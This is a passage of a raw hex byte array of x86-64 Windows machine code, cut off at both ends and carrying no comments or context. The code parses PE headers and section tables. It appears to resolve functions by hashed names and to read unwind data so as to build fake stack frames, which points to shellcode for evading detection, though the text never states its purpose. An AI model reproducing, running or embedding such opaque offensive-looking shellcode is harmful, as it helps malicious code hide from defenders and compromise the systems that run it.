xDA,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4C,0x8D,0x0D,0x96,0xF8,0x00,0x00,0x41,0xB8,0x26,0xD4,0x95,0xF4,0x48,0x8D,0x15,0x9F,0xF8,0x00,0x00,0x48,0x89,0xC1,0xE8,0x72,0xFC,0xFF,0xFF,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0xC7,0x44,0x24,0x30,0x09,0x00,0x00,0x00,0x48,0x8D,0x15,0xC3,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x15,0xC2,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4C,0x8D,0x0D,0x7D,0xF8,0x00,0x00,0x41,0xB8,0xBC,0x8F,0x3E,0xA6,0x48,0x8D,0x15,0x84,0xF8,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1D,0xFC,0xFF,0xFF,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0xC7,0x44,0x24,0x30,0x06,0x00,0x00,0x00,0x48,0x8D,0x15,0xAC,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x15,0xA2,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4C,0x8D,0x0D,0x6C,0xF8,0x00,0x00,0x41,0xB8,0x87,0x5A,0x1C,0x55,0x48,0x8D,0x15,0x73,0xF8,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC8,0xFB,0xFF,0xFF,0x48,0x8B,0x45,0x18,0x8B,0x55,0xFC,0x89,0x10,0x90,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0xC7,0x44,0x24,0x30,0x09,0x00,0x00,0x00,0x48,0x8D,0x15,0xF2,0xF7,0x00,0x00,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x15,0xF1,0xF7,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4C,0x8D,0x0D,0xAC,0xF7,0x00,0x00,0x41,0xB8,0xBC,0x8F,0x3E,0xA6,0x48,0x8D,0x15,0xB3,0xF7,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4C,0xFB,0xFF,0xFF,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0xC7,0x44,0x24,0x30,0x06,0x00,0x00,0x00,0x48,0x8D,0x15,0xDB,0xF7,0x00,0x00,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x15,0xD1,0xF7,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4C,0x8D,0x0D,0x9B,0xF7,0x00,0x00,0x41,0xB8,0x87,0x5A,0x1C,0x55,0x48,0x8D,0x15,0xA2,0xF7,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF7,0xFA,0xFF,0xFF,0x48,0x8B,0x45,0x18,0x8B,0x55,0xFC,0x89,0x10,0x90,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x18,0x48,0x89,0xC2,0x48,0x8B,0x45,0xE8,0x0F,0xB7,0x40,0x14,0x0F,0xB7,0xC0,0x48,0x01,0xD0,0x48,0x89,0x45,0xE0,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xE9,0x93,0x00,0x00,0x00,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0xC1,0xE0,0x02,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x04,0xF7,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC0,0xD6,0x00,0x00,0x85,0xC0,0x75,0x5E,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0xC1,0xE0,0x02,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x48,0x01,0xD0,0x8B,0x40,0x0C,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x18,0x48,0x89,0x10,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0xC1,0xE0,0x02,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x48,0x01,0xD0,0x8B,0x50,0x10,0x48,0x8B,0x45,0x20,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x18,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xE8,0x0F,0xB7,0x40,0x06,0x0F,0xB7,0xC0,0x39,0x45,0xF8,0x0F,0x82,0x59,0xFF,0xFF,0xFF,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE9,0x4A,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x83,0x7D,0xE0,0x00,0x0F,0x84,0x3C,0x02,0x00,0x00,0x48,0x8D,0x4D,0xCC,0x48,0x8D,0x55,0xD0,0x48,0x8B,0x45,0xE0,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x58,0xFE,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0x1B,0x02,0x00,0x00,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0x10,0x48,0x89,0x90,0x28,0x05,0x00,0x00,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x80,0x14,0x04,0x00,0x00,0x84,0xC0,0x75,0x12,0x48,0x8B,0x45,0x10,0x8B,0x80,0x10,0x04,0x00,0x00,0x85,0xC0,0x0F,0x84,0x84,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x80,0x14,0x04,0x00,0x00,0x84,0xC0,0x74,0x2C,0x48,0x8B,0x45,0x10,0x48,0x05,0x14,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0C,0x7F,0x00,0x00,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x72,0x48,0x00,0x00,0x48,0x89,0x45,0xF0,0xEB,0x20,0x48,0x8B,0x45,0x10,0x8B,0x90,0x10,0x04,0x00,0x00,0x48,0x8B,0x45,0xE0,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x50,0x48,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x88,0x01,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x55,0xF0,0x48,0x89,0x90,0x28,0x05,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x55,0xF0,0x48,0x89,0x90,0x48,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x80,0x40,0x05,0x00,0x00,0x84,0xC0,0x74,0x79,0x48,0x8B,0x45,0xD0,0x48,0x89,0xC1,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x89,0xC2,0x8B,0x45,0xCC,0x01,0xD0,0x83,0xE8,0x01,0x89,0x45,0xDC,0x48,0x8B,0x45,0x10,0x4C,0x8D,0x88,0x40,0x05,0x00,0x00,0x48,0x8B,0x45,0x10,0x4C,0x8D,0x80,0x40,0x06,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x8B,0x55,0xDC,0x48,0x8D,0x4D,0xC0,0x48,0x89,0x4C,0x24,0x20,0x48,0x89,0xC1,0xE8,0xBA,0xFA,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xF4,0x00,0x00,0x00,0x48,0x8B,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0x90,0x28,0x05,0x00,0x00,0x48,0x8B,0x45,0x10,0x8B,0x80,0x18,0x05,0x00,0x00,0x85,0xC0,0x74,0x66,0x48,0x8B,0x45,0xD0,0x48,0x89,0xC1,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x89,0xC2,0x8B,0x45,0xCC,0x01,0xD0,0x83,0xE8,0x01,0x89,0x45,0xDC,0x48,0x8B,0x45,0x10,0x8B,0x80,0x18,0x05,0x00,0x00,0x39,0x45,0xDC,0x0F,0x82,0x9F,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x80,0x18,0x05,0x00,0x00,0x89,0xC0,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x89,0x90,0x28,0x05,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x48,0x07,0x00,0x00,0x48,0x85,0xC0,0x74,0x30,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x48,0x07,0x00,0x00,0x48,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x89,0xC2,0x48,0x8B,0x45,0x10,0x89,0x90,0x50,0x07,0x00,0x00,0xEB,0x1F,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x48,0x29,0xC2,0x48,0x8B,0x45,0x10,0x89,0x90,0x50,0x07,0x00,0x00,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0x00,0x48,0xB8,0x01,0x02,0x01,0x01,0x02,0x03,0x01,0x00,0x48,0x89,0x45,0xC4,0xC7,0x45,0xCC,0x02,0x03,0x01,0x01,0x48,0x8B,0x45,0xC4,0x48,0x89,0x45,0xD0,0x8B,0x45,0xCC,0x89,0x45,0xD8,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0x28,0x8B,0x40,0x08,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x01,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x89,0xC1,0x48,0x8B,0x45,0x28,0x8B,0x00,0x48,0x8B,0x55,0x30,0x01,0xC2,0x89,0xC8,0x29,0xD0,0x89,0x45,0xDC,0xE9,0xF0,0x01,0x00,0x00,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xF8,0x0F,0xB6,0x44,0x50,0x05,0x83,0xE0,0x0F,0x0F,0xB6,0xC0,0x89,0x45,0xE4,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xF8,0x0F,0xB6,0x44,0x50,0x05,0xC0,0xE8,0x04,0x0F,0xB6,0xC0,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xF8,0x0F,0xB6,0x44,0x50,0x04,0x0F,0xB6,0xC0,0x39,0x45,0xDC,0x0F,0x82,0x90,0x01,0x00,0x00,0x83,0x7D,0xE4,0x00,0x75,0x5B,0x48,0x8B,0x45,0x10,0x8B,0x80,0x1C,0x05,0x00,0x00,0x8D,0x50,0x08,0x48,0x8B,0x45,0x10,0x89,0x90,0x1C,0x05,0x00,0x00,0x83,0x7D,0xE0,0x05,0x0F,0x85,0x63,0x01,0x00,0x00,0x48,0x8B,0x45,0x10,0xC7,0x80,0x30,0x05,0x00,0x00,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0xE8,0x0F,0xB6,0x40,0x02,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x10,0x89,0x90,0x34,0x05,0x00,0x00,0x8B,0x45,0xF8,0x83,0xC0,0x01,0x89,0xC2,0x48,0x8B,0x45,0x10,0x89,0x90,0x38,0x05,0x00,0x00,0xE9,0x29,0x01,0x00,0x00,0x83,0x7D,0xE4,0x04,0x75,0x09,0x83,0x45,0xF8,0x01,0xE9,0x1A,0x01,0x00,0x00,0x83,0x7D,0xE4,0x05,0x75,0x09,0x83,0x45,0xF8,0x02,0xE9,0x0B,0x01,0x00,0x00,0x83,0x7D,0xE4,0x02,0x75,0x24,0x48,0x8B,0x45,0x10,0x8B,0x80,0x1C,0x05,0x00,0x00,0x8B,0x55,0xE0,0x83,0xC2,0x01,0xC1,0xE2,0x03,0x01,0xC2,0x48,0x8B,0x45,0x10,0x89,0x90,0x1C,0x05,0x00,0x00,0xE9,0xE1,0x00,0x00,0x00,0x83,0x7D,0xE4,0x01,0x75,0x59,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xF8,0x0F,0xB7,0x44,0x50,0x04,0x0F,0xB7,0xC0,0x89,0x45,0xF4,0x83,0x7D,0xE0,0x00,0x75,0x06,0xC1,0x65,0xF4,0x03,0xEB,0x19,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xF8,0x0F,0xB7,0x44,0x50,0x04,0x0F,0xB7,0xC0,0xC1,0xE0,0x10,0x01,0x45,0xF4,0x48,0x8B,0x45,0x10,0x8B,0x90,0x1C,0x05,0x00,0x00,0x8B,0x45,0xF4,0x01,0xC2,0x48,0x8B,0x45,0x10,0x89,0x90,0x1C,0x05,0x00,0x00,0xE9,0x82,0x00,0x00,0x00,0x83,0x7D,0xE4,0x03,0x75,0x2D,0x48,0x8B,0x45,0x10,0xC7,0x80,0x20,0x05,0x00,0x00,0x01,0x00,0x00,0x00,0x83,0x7D,0x18,0x00,0x75,0x68,0x48,0x8B,0x45,0x10,0x8B,0x80,0x1C,0x05,0x00,0x00,0x8D,0x50,0xF0,0x48,0x8B,0x45,0x10,0x89,0x90,0x1C,0x05,0x00,0x00,0xEB,0x4F,0x83,0x7D,0xE4,0x06,0x74,0x49,0x83,0x7D,0xE4,0x08,0x75,0x06,0x83,0x45,0xF8,0x01,0xEB,0x3D,0x83,0x7D,0xE4,0x09,0x75,0x06,0x83,0x45,0xF8,0x02,0xEB,0x31,0x83,0x7D,0xE4,0x0A,0x75,0x24,0x48,0x8B,0x45,0x10,0xC7,0x80,0x54,0x07,0x00,0x00,0x01,0x00,0x00,0x00,0x83,0x7D,0xE0,0x00,0x0F,0x95,0xC0,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x10,0x89,0x90,0x58,0x07,0x00,0x00,0xEB,0x3F,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x45,0xF8,0x01,0xEB,0x1E,0x8B,0x45,0xE4,0x0F,0xB6,0x44,0x05,0xD0,0x0F,0xB6,0xC0,0x01,0x45,0xF8,0x83,0x7D,0xE4,0x01,0x75,0x0A,0x83,0x7D,0xE0,0x00,0x74,0x04,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xE8,0x0F,0xB6,0x40,0x02,0x0F,0xB6,0xC0,0x39,0x45,0xF8,0x0F,0x82,0xFC,0xFD,0xFF,0xFF,0x83,0x7D,0xF0,0x00,0x74,0x7E,0x48,0x8B,0x45,0xE8,0x0F,0xB6,0x00,0xC0,0xE8,0x03,0x0F,0xB6,0xC0,0x83,0xE0,0x04,0x85,0xC0,0x74,0x32,0x48,0x8B,0x45,0xE8,0x0F,0xB6,0x40,0x02,0x0F,0xB6,0xC0,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x83,0xE0,0x01,0x85,0xC0,0x74,0x04,0x83,0x45,0xF8,0x01,0x8B,0x45,0xF8,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xE8,0x48,0x01,0xD0,0x48,0x83,0xC0,0x04,0x48,0x89,0x45,0x28,0x48,0x8B,0x45,0xE8,0x0F,0xB6,0x00,0xC0,0xE8,0x03,0x0F,0xB6,0xC0,0x83,0xE0,0x04,0x85,0xC0,0x0F,0x85,0x3C,0xFD,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x8B,0x80,0x1C,0x05,0x00,0x00,0x8D,0x50,0x08,0x48,0x8B,0x45,0x10,0x89,0x90,0x1C,0x05,0x00,0x00,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC1,0x48,0x8D,0x55,0xE8,0x48,0x8D,0x45,0xF0,0x49,0x89,0xD0,0x48,0x89,0xC2,0xE8,0x74,0x05,0x00,0x00,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x32,0x48,0x8B,0x4D,0xE8,0x4C,0x8B,0x4D,0xF0,0x44,0x8B,0x45,0x20,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0x4C,0x24,0x20,0x48,0x89,0xC1,0xE8,0x21,0xFC,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x6E,0x8B,0x45,0xFC,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0xC7,0x80,0x40,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xF2,0xF8,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x2E,0x8B,0x4D,0x18,0x8B,0x55,0xFC,0x48,0x8B,0x45,0xF0,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xEF,0xFE,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x13,0x48,0x8B,0x45,0xF0,0xC7,0x80,0x40,0x07,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xFC,0x01,0x8B,0x45,0xFC,0x3B,0x45,0x18,0x72,0x8A,0x90,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x30,0x48,0x83,0xE8,0x08,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0x18,0x48,0x89,0x10,0x90,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x68,0x48,0x8D,0x6C,0x24,0x60,0x48,0x89,0x4D,0x20,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0xC7,0x40,0x38,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x81,0xFF,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xE9,0x0F,0x03,0x00,0x00,0x8B,0x45,0x28,0x2B,0x45,0xF0,0x83,0xE8,0x01,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0x01,0xD0,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x40,0x07,0x00,0x00,0x85,0xC0,0x0F,0x84,0xDB,0x02,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x54,0x07,0x00,0x00,0x85,0xC0,0x0F,0x84,0x5F,0x01,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x8B,0x00,0x48,0x89,0x45,0xC8,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC1,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x1C,0x05,0x00,0x00,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x1C,0x05,0x00,0x00,0x83,0xE8,0x08,0x89,0x45,0xEC,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x58,0x07,0x00,0x00,0x85,0xC0,0x74,0x04,0x83,0x45,0xEC,0x08,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0x83,0xC0,0x28,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0x83,0xC0,0x20,0x48,0x89,0xC3,0x48,0x8B,0x55,0xC0,0x48,0x8B,0x45,0x30,0x48,0x89,0xC1,0xE8,0x87,0xF0,0xFF,0xFF,0x48,0x89,0x03,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0x83,0xC0,0x18,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0x83,0xC0,0x10,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0x83,0xC0,0x08,0x48,0x89,0xC2,0x48,0x8B,0x45,0xC8,0x48,0x89,0x02,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x58,0x07,0x00,0x00,0x85,0xC0,0x74,0x18,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0xD8,0x48,0x8B,0x92,0x28,0x05,0x00,0x00,0x48,0x89,0x10,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x83,0xE8,0x08,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x38,0xE9,0x42,0x01,0x00,0x00,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xE3,0x00,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x30,0x05,0x00,0x00,0x85,0xC0,0x0F,0x84,0xD1,0x00,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x90,0x34,0x05,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x38,0x05,0x00,0x00,0x89,0xC1,0x89,0xD0,0x29,0xC8,0x89,0x45,0xD4,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xEB,0x19,0x48,0x8B,0x45,0x30,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7B,0xFD,0xFF,0xFF,0x83,0x45,0xE8,0x08,0x83,0x45,0xE4,0x01,0x8B,0x45,0xE4,0x3B,0x45,0xD4,0x72,0xDF,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x30,0x48,0x89,0xC1,0xE8,0x5B,0xEF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0xC1,0xE8,0x4C,0xFD,0xFF,0xFF,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC1,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x1C,0x05,0x00,0x00,0x2B,0x45,0xE8,0x83,0xE8,0x08,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0xD8,0x48,0x8B,0x92,0x28,0x05,0x00,0x00,0x48,0x89,0x10,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x83,0xE8,0x08,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x55,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC1,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x1C,0x05,0x00,0x00,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0